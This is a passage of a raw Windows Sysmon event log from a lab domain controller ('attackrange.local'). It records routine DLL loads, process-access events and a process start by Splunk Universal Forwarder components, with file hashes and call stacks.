Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000052568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000052565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000052560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.926{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000052553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.494{7BD73061-733D-613B-700B-00000000F001}44566968C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.494{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.494{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000052550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.294{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.294{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.294{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.294{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.294{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.294{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.293{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.290{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.288{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000052541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.272{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.257{7BD73061-733D-613B-700B-00000000F001}4456C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft 